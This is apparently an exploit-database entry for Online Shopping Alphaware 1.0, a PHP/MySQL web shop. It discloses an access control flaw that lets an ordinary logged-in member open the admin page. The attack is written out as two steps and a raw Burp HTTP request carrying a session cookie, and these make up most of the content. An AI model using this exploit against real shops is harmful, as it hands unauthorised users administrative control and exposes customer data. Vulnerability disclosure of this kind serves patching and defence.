Share
## https://sploitus.com/exploit?id=PACKETSTORM:158782
# Exploit Title: Online Shopping Alphaware 1.0 - Unauthorized Admin Page Access  
# Date: 2020-8-4  
# Exploit Author: Edo Maland  
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql  
# Version: 1.0  
# Tested On Windows & Linux Server  
# Descriptions : Regular users can access the admin page  
# Vulnerable URL : http://example.com/alphaware/admin/  
  
  
# PoC  
  
1. Login into your member account,   
2. Then access the admin page http://example.com/alphaware/admin/  
  
# Burp Requests  
  
GET /alphaware/admin/ HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=tokl2nlnjtjud32laqupj07sss  
Upgrade-Insecure-Requests: 1